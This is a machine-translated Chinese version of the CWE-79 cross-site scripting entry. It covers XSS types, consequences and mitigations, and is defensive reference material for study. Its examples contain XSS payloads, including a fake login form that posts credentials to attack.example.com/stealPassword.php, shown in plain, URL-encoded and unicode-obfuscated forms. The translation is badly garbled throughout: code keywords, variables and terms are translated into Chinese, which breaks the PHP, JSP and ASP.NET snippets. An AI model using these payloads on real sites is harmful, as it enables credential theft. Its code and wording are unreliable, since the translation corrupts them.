cwe - 79:不当中和的输入在Web页面生成(“跨站点脚本编制”)
描述
软件不中和或错误中和用户可控输入之前放在输出作为web页面使用的其他用户。
扩展描述
跨站点脚本(XSS)攻击发生时:
不可信的数据进入一个web应用程序,通常从web请求。
web应用程序动态生成一个web页面,其中包含这个不可信的数据。
在页面生成过程中,应用程序不包含内容,防止数据被web浏览器执行,如JavaScript、HTML标记,HTML属性,鼠标事件,Flash, ActiveX等等。
受害者通过web浏览器访问生成的web页面,其中包含恶意脚本注入使用不可信的数据。
因为脚本来自web服务器发送的web页面,受害者的web浏览器执行恶意脚本上下文的web服务器的域。
这实际上违反了web浏览器的同源策略的意图,即脚本在一个领域不应该能够访问资源或运行代码在一个不同的领域。
有三个主要类型的XSS:
类型1:反映XSS(或非持久性) ——直接从HTTP请求和服务器读取数据反映了它在HTTP响应。反映XSS攻击发生时,攻击者会导致受害者提供危险的内容一个脆弱的web应用程序,然后再反射回受害人和执行的web浏览器。最常见的机制提供恶意内容是包括作为一个参数在一个URL公示或邮件直接受害者。URL构造以这种方式构成许多钓鱼计划的核心,即攻击者说服受害者访问URL,指的是一个脆弱的网站。网站反映了攻击者的内容后回受害者,受害者的浏览器执行的内容。
类型2:存储XSS(或长期) ——应用程序将危险的数据存储在一个数据库,信息论坛,访客日志或其他可信的数据存储。在稍后的时间,随后危险数据读回应用程序,包括在动态内容。从攻击者的角度来看,最优注入恶意内容的地方是在一个区域显示许多用户或用户特别有趣。有趣的用户通常有高特权应用程序或与敏感数据,攻击者是有价值的。如果其中一个用户执行恶意内容,攻击者能够代表用户执行特权操作或访问敏感数据属于用户。例如,攻击者可能注入XSS日志消息,这可能无法正确处理当管理员日志的看法。
0型:基于dom的XSS ——基于dom的XSS,客户机执行注入XSS页面;其他类型的服务器执行注射。基于dom的XSS一般包括服务器控制,信任脚本发送到客户端,如Javascript执行健康检查在用户提交表单。如果server-supplied脚本进程用户提供的数据,然后注入web页面(如动态HTML),然后基于dom的XSS是可能的。
一旦注入恶意脚本,攻击者可以执行各种恶意活动。攻击者可以转移私人信息,比如饼干,可能包括会话信息,攻击者从受害者的机器。攻击者可以恶意请求发送到一个网站代表受害者,这可能是特别危险的网站如果受害人有管理员权限来管理该网站。钓鱼攻击可以用来模拟可信网站和诱骗受害人进入一个密码,允许攻击者妥协受害者的账户在那个网站。最后,脚本可以利用web浏览器本身的脆弱性可能接管受害者的机器,有时被称为“驾车窃听。”
在许多情况下,可以启动攻击受害者不知不觉。即使小心用户,攻击者经常使用各种方法来编码的恶意攻击,比如URL编码或者Unicode,所以请求看起来不那么可疑。
替代条款
XSS:
“XSS”是一种常见的缩写跨站点脚本。
HTML注入:
“HTML注入”用作存储(类型2)XSS的同义词。
CSS:
初期XSS最初的发现后,“CSS”是一个常用的缩略词。然而,这将导致混乱和“层叠样式表”,所以这个缩略词的使用显著下降。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
74年
不当中和下游组件使用的特殊元素的输出(注射)
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
80年
不当中和与脚本相关的所有HTML标记的Web页面(基本XSS)
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
81年
不当中和Web页面的脚本错误消息
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
83年
中和不当脚本在一个Web页面的属性
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
84年
中和不当URI编码方案在一个Web页面
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
85年
翻了一番个性XSS操作
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
86年
不当中和标识符无效字符的Web页面
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
87年
中和不当交替XSS语法
ParentOf
链——一个复合元素是一个序列的两个或两个以上的独立的缺点,可以在软件中紧密联系在一起。一个弱点,X,可以直接创建所必需的条件导致另一个弱点,Y,进入一个脆弱的状态。,当这一切发生的时候,CWE指X作为“主”Y, Y是“合成”X连锁可能涉及两个以上缺点,在某些情况下,他们可能有一个树状结构。
692年
不完整的Denylist跨站点脚本
PeerOf
组合——一个复合元素包含两个或两个以上不同的弱点,所有弱点必须出现在同一时间为了一个潜在的漏洞出现。删除任何缺点消除或大大降低了风险。一个弱点,X,可以“分解”组件弱点Y和z可以有弱点在哪些情况下可能不是必要的复合,但复合的性质变化时变成了弱点。
352年
跨站请求伪造(CSRF)
PeerOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
494年
下载的代码没有完整性检查
光束
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
113年
不当中和CRLF序列在HTTP头(HTTP请求/响应分裂)
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
184年
不允许输入的完整列表
CanPrecede
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
494年
下载的代码没有完整性检查
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
137年
数据中和问题
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
74年
不当中和下游组件使用的特殊元素的输出(注射)
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关视图”架构概念”(cwe - 1008)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1019年
验证输入
背景细节
浏览器的同源策略的国家应该限制访问的资源脚本运行在一个给定的web站点,或者“起源”,相关的资源,网站在客户端,而不是任何其他网站或客户端资源“起源”。这样做的目的是防止一个站点能够修改或读一个不相关的网站的内容。自从万维网涉及许多网站之间的相互作用,这一政策对浏览器执行很重要。
当谈到XSS,一个网站的域名相当于与网站相关的资源连接的客户端。即域可以被认为是所有资源浏览器存储与这个特定的网站用户的交互。
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
架构和设计
实现
实现:造成这一弱点在建筑安全策略的实施。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
访问控制 保密
最常见的与跨站点脚本攻击执行涉及信息披露的信息存储在用户的cookie。通常情况下,恶意用户将工艺客户端脚本,这——当解析web浏览器执行一些活动(如发送所有站点cookie到给定的电子邮件地址)。这个脚本将被加载并运行每个用户访问该网站。自网站请求运行脚本能够访问问题的饼干,还恶意脚本。
完整性 保密 可用性
在某些情况下是可能的受害者的计算机上运行任意代码当跨站点脚本结合其他缺陷。
保密 完整性 可用性 访问控制
技术的影响: 执行未经授权的代码或命令;旁路保护机制;读取应用程序数据
XSS攻击的结果是一样的,不管你是否存储或反映。不同之处是如何有效载荷到达服务器。XSS给最终用户可能会导致各种各样的问题严重程度不一,从一个烦恼完成帐户妥协。一些跨站点脚本漏洞可以利用操纵或偷饼干,创建请求可以被误认为是有效的用户,妥协机密信息,或最终用户系统上执行恶意代码的各种邪恶的目的。其他破坏性攻击包括最终用户的信息披露文件,安装木马程序,将用户重定向到其他网页或网站,运行“积极X”控制(在微软Internet Explorer)从用户认为值得信赖的网站,和修改的内容。
利用的可能性
示范例子
示例1
这段代码在网页上显示欢迎消息基于HTTP GET username参数。这个例子包含了反映XSS(1型)的场景。
$ username = $ _GET['用户名'); echo ' < div class = "头" >欢迎,”。美元的用户名。“< / div >”;
因为参数可以任意页面的url可能修改所以$用户名包含脚本语法,等
http://trustedSite.example.com/welcome.php?Javascript的用户名= <脚本语言= " " >警报(“你被攻击!”);> < /脚本
这导致一种无害的警告对话框出现。最初这似乎不可能的漏洞。毕竟,为什么会有人输入一个URL,导致恶意代码运行在自己的电脑吗?真正的危险是,攻击者将创建恶意URL,然后使用电子邮件或社会工程技巧来吸引受害者访问的URL链接。受害者点击链接时,无意中反映了恶意的内容通过脆弱的web应用程序回自己的电脑。
更实际的是,攻击者可以嵌入一个虚假的登录框在页面上,欺骗用户到用户的密码发送给攻击者:
http://trustedSite.example.com/welcome.php?用户名= < div id = " stealPassword " >请登录:<表单名称= "输入" action = " http://attack.example.com/stealPassword.php " method = " post " >用户名:< input type = " text " name = "用户名" / > < br / >密码:< input type = "密码" name = "密码" / > < br / > < input type = " submit " value = "登录" / > < /形式> < / div >
如果用户点击这个链接那么受欢迎。php将生成以下HTML并将其发送到用户的浏览器:
< div class = "头" >欢迎,< div id = " stealPassword " >请登录:
<表单名称= "输入" action = "attack.example.com/stealPassword.php”方法= " post " >
用户名:< input type = " text " name = "用户名" / > < br / > 密码:< input type = "密码" name = "密码" / > < br / > < input type = " submit " value = "登录" / >
> < /形式
< / div > < / div >
URL的信赖域可能错误地向用户保证,可以按照链接。然而,一个精明的用户可能会发现可疑的文本附加到URL。攻击者可能会进一步混淆的URL(以下示例的链接是可读性分解成多行):
trustedSite.example.com/welcome.php?username=%3Cdiv % 3 d % 22 + id stealPassword % 3 eplease +登录22% % % 3 cform 3 + % 3 d % 22输入名称 % 22 +行动% 3 d % 22 http % 3 fattack.example.com % 2 fstealpassword.php % 2 f % 2 % 22 +方法% 3 d % 22 post % 22% 3 eusername % + % 3 cinput + % 3 d % 22型文本 % 22 +名称% 3 d % 22用户名% 22 + % 2 f % 3 e % 3 cbr % 2 f % 3 epassword % 3 + % 3 cinput +类型% 3 d % 22密码% 22 +名% 3 d % 22密码% 22 + % 2 f % 3 e % 3 cinput +类型% 3 d % 22提交% 22 +值% 3 d % 22登录% 22 + % 2 f % 3 e % 3 c % 2 fform % 3 e % 3 c % 2 fdiv % 3 e % d % 0 a
同样的攻击字符串也可以混淆:
trustedSite.example.com/welcome.php?username= <脚本+ type = " text / javascript " > document . write (“\ u003C \ u0064 \ u0069 \ u0076 \ u0020 \ u0069 \ u0064 \ u003D \ u0022 \ u0073 \ u0074 \ u0065 \ u0061 \ u006C \ u0050 \ u0061 \ u0073 \ u0073 \ u0077 \ u006F \ u0072 \ u0064 \ u0022 \ u003E \ u0050 \ u006C \ u0065 \ u0061 \ u0073 \ u0065 \ u0020 \ u004C \ u006F \ u0067 \ u0069 \ u006E \ u003A \ u003C \ u0066 \ u006F \ u0072 \ u006D \ u0020 \ u006E \ u0061 \ u006D \ u0065 \ u003D \ u0022 \ u0069 \ u006E \ u0070 \ u0075 \ u0074 \ u0022 \ u0020 \ u0061 \ u0063 \ u0074 \ u0069 \ u006F \ u006E \ u003D \ u0022 \ u0068 \ u0074 \ u0074 \ u0070 \ u003A \ u002F \ u002F \ u0061 \ u0074 \ u0074 \ u0061 \ u0063 \ u006B \ u002E \ u0065 \ u0078 \ u0061 \ u006D \ u0070 \ u006C \ u0065 \ u002E \ u0063 \ u006F \ u006D \ u002F \ u0073 \ u0074 \ u0065 \ u0061 \ u006C \ u0050 \ u0061 \ u0073 \ u0073 \ u0077 \ u006F \ u0072 \ u0064 \ u002E \ u0070 \ u0068 \ u0070 \ u0022 \ u0020 \ u006D \ u0065 \ u0074 \ u0068 \ u006F \ u0064 \ u003D \ u0022 \ u0070 \ u006F \ u0073 \ u0074 \ u0022 \ u003E \ u0055 \ u0073 \ u0065 \ u0072 \ u006E \ u0061 \ u006D \ u0065 \ u003A \ u0020 \ u003C \ u0069 \ u006E \ u0070 \ u0075 \ u0074 \ u0020 \ u0074 \ u0079 \ u0070 \ u0065 \ u003D \ u0022 \ u0074 \ u0065 \ u0078 \ u0074 \ u0022 \ u0020 \ u006E \ u0061 \ u006D \ u0065 \ u003D \ u0022 \ u0075 \ u0073 \ u0065 \ u0072 \ u006E \ u0061 \ u006D \ u0065 \ u0022 \ u0020 \ u002F \ u003E \ u003C \ u0062 \ u0072 \ u002F \ u003E \ u0050 \ u0061 \ u0073 \ u0073 \ u0077 \ u006F \ u0072 \ u0064 \ u003A \ u0020 \ u003C \ u0069 \ u006E \ u0070 \ u0075 \ u0074 \ u0020 \ u0074 \ u0079 \ u0070 \ u0065 \ u003D \ u0022 \ u0070 \ u0061 \ u0073 \ u0073 \ u0077 \ u006F \ u0072 \ u0064 \ u0022 \ u0020 \ u006E \ u0061 \ u006D \ u0065 \ u003D \ u0022 \ u0070 \ u0061 \ u0073 \ u0073 \ u0077 \ u006F \ u0072 \ u0064 \ u0022 \ u0020 \ u002F \ u003E \ u003C \ u0069 \ u006E \ u0070 \ u0075 \ u0074 \ u0020 \ u0074 \ u0079 \ u0070 \ u0065 \ u003D \ u0022 \ u0073 \ u0075 \ u0062 \ u006D \ u0069 \ u0074 \ u0022 \ u0020 \ u0076 \ u0061 \ u006C \ u0075 \ u0065 \ u003D \ u0022 \ u004C \ u006F \ u0067 \ u0069 \ u006E \ u0022 \ u0020 \ u002F \ u003E \ u003C \ u002F \ u0066 \ u006F \ u0072 \ u006D \ u003E \ u003C \ u002F \ u0064 \ u0069 \ u0076 \ u003E \ u000D”); > < /脚本
这两种攻击的链接将导致虚假的登录框出现在页面上,用户更有可能忽略无法解释的文本url的末尾。
示例2
这个示例还显示一个反映XSS(1型)的场景。
以下JSP代码段读取一个雇员ID,开斋节,从一个HTTP请求并将其显示给用户。
< %字符串开斋节= request.getParameter(“开斋节”);% > … 雇员ID: < % =开斋节% >
下面的ASP。净代码段读取一个雇员ID号从一个HTTP请求并将其显示给用户。
< % System.Web.UI.WebControls保护。文本框登录; System.Web.UI.WebControls保护。标签EmployeeID; … EmployeeID。文本= Login.Text; % >
< p > < asp:标签id =“EmployeeID runat = " server " / > < / p >
这个例子中的代码运行正确,如果雇员ID变量只包含字母数字文本标准。如果它有价值,包括元字符或源代码,那么代码将执行的web浏览器,因为它显示了HTTP响应。
示例3
这个例子包括一个存储XSS(2型)的场景。
以下JSP代码片段查询数据库与给定ID和一个员工打印相应的员工的名字。
< % =声明支撑conn.createStatement ();
ResultSet rs =支撑。executeQuery (“select *从emp id = " +宰牲节);
如果(rs ! = null) {
rs.next (); 字符串名称= rs.getString(“名字”);
}% >
员工姓名:< % = % >
下面的ASP。净查询数据库的代码段与给定的雇员ID和一个员工打印的名字对应的ID。
< % System.Web.UI.WebControls保护。标签EmployeeName; … 字符串查询= " select *从emp id = " +开斋节; 康涅狄格州sda = new SqlDataAdapter(查询); sda.Fill (dt); 字符串名称= dt.Rows[0](“名字”); … EmployeeName。文本=名字;% > < p > < asp:标签id =“EmployeeName runat = " server " / > < / p >
这段代码会显得更少的危险,因为名字是读取数据库的价值,显然是由应用程序管理的内容。然而,如果名字来源于用户提供的数据的价值,那么数据库可以为恶意内容的一个渠道。没有适当的输入验证所有数据存储在数据库中,攻击者可以在用户的web浏览器中执行恶意命令。
示例4
下面的例子在web应用程序中包含两个单独的页面,一个致力于创建用户帐户,另一个用于清单目前活跃用户登录。它还显示存储XSS(2型)的场景。
CreateUser.php
美元$ username = mysql_real_escape_string(用户名); $ fullName = mysql_real_escape_string ($ fullName); 查询美元= sprintf(插入用户(用户名、密码)值(“% s”、“% s”、“% s”)”,用户名、美元地下室(密码)美元,美元fullName); 美元mysql_query(查询); /……
代码小心避免SQL注入攻击(cwe - 89 ),但并不能阻止有效的HTML被存储在数据库中。这可以被利用后,ListUsers。php检索信息:
ListUsers.php
从用户查询美元= ' Select * loggedIn = true”;
美元$结果= mysql_query(查询);
如果(! $ results) {
退出;
}
/ /打印用户列表页面
echo ' < div id = " userlist " >目前活跃用户:”;
而($行=作用(结果)美元){
回声的< div class = "用户名" >。美元行(“fullname”)。”< / div >;
}
回声的< / div >;
攻击者可以将他们的名字设置为任意的HTML,然后显示所有活跃用户页面的访问者。这个HTML可以,例如,是一个窃取密码登录信息。
示例5
考虑一个应用程序,这个应用程序提供了一个简单的留言板,保存在HTML格式和消息附加文件。当一个新用户到达房间,它使一个公告:
name = _COOKIE美元(“名字”); 美元announceStr = " $名字登录。”;
/ / html格式的信息保存到文件;对于这个例子实现细节无关。
saveMessage ($ announceStr);
攻击者可能会执行一个HTML注入(2型XSS)攻击通过设置cookie值:
<脚本> document.alert(“砍”);> < /脚本
原始消息的内容文件看起来像:
<脚本> document.alert(“砍”);> < /脚本已经登录。
为每个人访问消息页面,浏览器将执行该脚本,生成一个弹出窗口,说“砍”。更多的恶意攻击是可能的;看到这个条目。
观察到的例子
参考
描述
Python库经理没有足够中和用户提供的搜索词,允许XSS反映出来。
面向电子商务平台没有逃脱返回错误页面上的内容,允许反映跨站点脚本攻击。
普遍XSS移动操作系统,利用每中钢协KEV在野外。
管理GUI允许通过cookie XSS。
网络统计程序允许XSS通过HTTP头。
Web日志分析产品允许XSS通过HTTP引用页头。
链:保护机制允许XSS失败
XSS在URL中使用PATH_INFO反映出来
反映XSS不妥善处理时生成一个错误消息
反映XSS发送通过电子邮件消息。
XSS存储在一个安全的产品。
存储XSS使用wiki页面。
XSS存储在一个留言板的应用程序。
XSS存储在留言板应用程序使用一个javascript: bbcode img标签URI。
潜在的缓解措施
阶段:体系结构和设计
使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。
库和框架的例子更容易生成正确编码输出包括微软的Anti-XSS图书馆,OWASP ESAPI编码模块,和Apache Wicket。
阶段:实施;架构和设计
理解的上下文将使用您的数据编码,将预期。这是特别重要的不同组件之间传送数据的时候,或者当生成输出可以包含多个编码同时,如web页面或多部分邮件。研究所有预期的通信协议以及数据表现方式来决定所需要的编码策略。
任何数据,输出到另一个网页,特别是收到任何数据从外部输入,使用适当的编码在所有非字母数字的字符。
部分相同的输出文档可能需要不同的编码,这将取决于是否输出是:
HTML的身体
元素属性(如src = " XYZ ")
uri
JavaScript部分
层叠样式表和样式属性
等等。注意HTML实体编码只适合身体的HTML。
阶段:体系结构和设计;实现
理解所有潜在的地区不受信任的输入可以输入软件:参数或参数,饼干,任何从网络读取环境变量,反向DNS查找,查询结果,请求头,URL组件、电子邮件、文件、文件名、数据库,以及任何外部系统提供数据的应用程序。记住,这样的投入可以获得间接通过API调用。
注意: 该技术效果有限,但可以帮助时可以在服务器端存储客户端状态和敏感信息而不是饼干,头,隐藏的表单字段,等等。
阶段:体系结构和设计
对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免
cwe - 602 。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。
阶段:体系结构和设计
如果可用,使用结构化机制自动执行数据和代码之间的分离。这些机制可以提供相关的引用,编码,自动验证,而不是依赖于开发人员提供此功能在每一个点生成输出。
实施阶段:
使用和指定输出编码可以由下游组件读取输出。常见的编码包括iso - 8859 - 1、utf - 7, utf - 8。如果不指定一个编码,下游组件可能会选择不同的编码,通过假设一个默认的编码或使用自动推断哪些编码,这可能是错误的。编码不一致时,下游组件可能治疗一些特殊字符或字节序列,即使他们没有特别在原始的编码。攻击者就能够利用这种差异,开展注入攻击;他们甚至可以绕过保护机制,假设原编码也被下游组件。
输出编码不一致的问题经常出现在web页面。如果没有指定一个编码在一个HTTP头,web浏览器经常猜测哪些编码使用。这可以打开浏览器微妙的XSS攻击。
实施阶段:
使用Struts,编写所有的数据表单bean与bean的过滤器属性设置为true。
实施阶段:
帮助减轻XSS攻击用户的会话cookie, HttpOnly设置会话cookie。在浏览器支持HttpOnly特性(比如最近版本的Internet Explorer和Firefox),这个属性可以防止用户的会话cookie访问恶意使用。com的客户端脚本。这不是一个完整的解决方案,因为HttpOnly不是所有浏览器都支持的。更重要的是,XMLHTTPRequest和其他强大的浏览器技术提供读访问HTTP头信息,包括set - cookie HttpOnly标志设置的标题。
实施阶段:
假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。
不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。
动态地构建web页面时,使用限制严格的allowlists字符集基于请求中的参数的期望值。所有输入都应该验证和洁净,不仅仅是用户应该指定参数,但请求中所有数据,包括隐藏字段,饼干,标题、URL本身,等等。一个常见的错误导致持续的XSS漏洞仅是验证字段将被显示的网站。通常看到的数据请求所反映的应用服务器或应用程序开发团队没有预料到。一个字段,目前不是反映未来的开发人员可以使用。因此,建议验证HTTP请求的所有部分。
注意,适当的输出编码、逃避和防止XSS的引用是最有效的解决方案,尽管输入验证可能提供一些深度防护。这是因为它有效地限制了将出现在输出。输入验证不会总是防止XSS,尤其是如果您需要支持自由格式的文本字段可以包含任意字符。例如,在一个聊天应用程序,心表情符号(< 3)可能会通过验证步骤,因为它是常用的。但是,它不能直接插入到web页面,因为它包含了“<”性格,这需要转义或以其他方式处理。在这种情况下,剥离“<”可能降低XSS的风险,但它会产生不正确的行为,因为表情符号不会被记录下来。这可能似乎是一个小小的不便,但更重要的在一个数学论坛,想代表不平等。
即使你犯了一个错误在你的验证(如100年忘记一个输入字段),适当的编码仍可能会保护你免受喷射的攻击。只要不是做隔离,输入验证仍然是一个有用的技术,因为它可能会大大降低你的攻击面,让你发现一些攻击,并提供其他安全的好处,适当的编码并没有解决。
确保您在应用程序中定义良好的接口执行输入验证。这将有助于保护应用程序即使某个组件的重用或搬地方了。
阶段:体系结构和设计
组接受对象时,如文件名或url,是有限的或已知,从一组固定的输入值创建一个映射(比如数字id)实际的文件名或url,并拒绝所有其他输入。
阶段:操作
使用应用程序防火墙,可以检测到攻击这个弱点。它可以是有益的情况下,代码不能固定(因为它是由第三方控制),作为一项紧急预防措施,更全面的软件保证措施被应用,或者提供深度防御。
注意: 应用程序防火墙不可能覆盖所有可能的输入向量。此外,攻击技术可能可以绕过保护机制,比如使用畸形的输入,仍然可以由组件接收处理这些输入。根据功能的不同,应用程序防火墙可能会无意中拒绝或修改合法请求。最后,一些手动工作可能需要定制。
阶段:操作;实现
使用PHP时,配置应用程序,以便它不使用register_globals。在实现,开发应用程序,以便它不依赖于这个特性,但是小心实现register_globals的模拟等弱点
cwe - 95 ,
cwe - 621 和类似的问题。
弱点Ordinalities
Ordinality
描述
合成
(缺点是通常与其他弱点的存在)
检测方法
自动静态分析
使用自动静态分析工具针对这种类型的弱点。许多现代技术利用数据流分析,减少假阳性的数量。这不是一个完美的解决方案,因为100%的准确率和覆盖率不可行,尤其是当涉及多个组件。
黑盒
使用XSS备忘单(
ref - 714 )或自动测试生成工具来帮助推出各种各样的攻击您的web应用程序。备忘单包含很多微妙的XSS变异是专门针对弱XSS防御。
注意: 存储XSS,间接造成的数据存储可以让它更加难以发现问题所在。测试人员必须先注入XSS字符串数据存储,然后找到合适的应用程序功能的XSS字符串发送给其他用户的应用程序。这是两个不同的步骤XSS的激活可以分钟,发生后数小时或数天XSS最初注入数据存储。
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然
类型
ID
的名字
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
635年
最初使用的弱点NVD从2008年到2016年
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
712年
OWASP十大2007类别A1 -跨站脚本(XSS)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
722年
OWASP十大2004类别A1 -用户输入
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
725年
OWASP十大2004类别A4 -跨站点脚本(XSS)缺陷
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
751年
2009年前25 -安全组件之间的交互
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
801年
2010年前25 -安全组件之间的交互
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
811年
OWASP十大2010类别A2 -跨站点脚本(XSS)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
864年
2011年前25 -安全组件之间的交互
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
884年
CWE横截面
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
931年
OWASP十大2013类别A3 -跨站点脚本(XSS)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
990年
SFP二级集群:污染输入命令
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1005年
7 pk -输入验证和代表性
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1033年
OWASP十大2017类别A7 -跨站点脚本(XSS)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1131年
方案》(2016)——安全质量措施
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1200年
弱点在2019 CWE最危险的软件错误
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1308年
方案及质量措施,安全
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1337年
2021 CWE最危险软件的弱点的弱点
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1340年
方案及数据保护措施
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1347年
OWASP十大2021类别A03:2021 -注射
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1350年
2020 CWE最危险软件的弱点的弱点
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1387年
2022 CWE最危险软件的弱点的弱点
笔记
的关系
XSS和CSRF之间可以有密切关系(cwe - 352 )。攻击者可能会使用CSRF为了诱骗受害人提交请求到服务器的请求包含一个XSS负载。一个著名的例子是萨米蠕虫在MySpace上(ref - 956 ]。蠕虫使用XSS恶意HTML序列插入到用户的概要文件并添加攻击者为MySpace的朋友。MySpace的朋友,受害者将执行负载来修改自己的资料,导致蠕虫传播指数。由于受害者没有故意插入恶意脚本本身,CSRF根源。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
跨站点脚本(XSS)
7有害的王国
跨站点脚本编制
扣
跨站点脚本编制
OWASP十大2007
A1
确切的
跨站脚本(XSS)
OWASP十大2004
A1
CWE更具体
用户输入
OWASP十大2004
A4
确切的
跨站点脚本(XSS)缺陷
WASC
8
跨站点脚本编制
软件故障模式
SFP24
污染输入命令
OMG ASCSM
ASCSM -cwe - 79
引用
[ref - 709]耶利米格罗斯曼,罗伯特“RSnake”汉森,佩特科维奇pdp d . Petkov,安东愤怒和赛斯Fogie。“XSS攻击”。Syngress》2007。
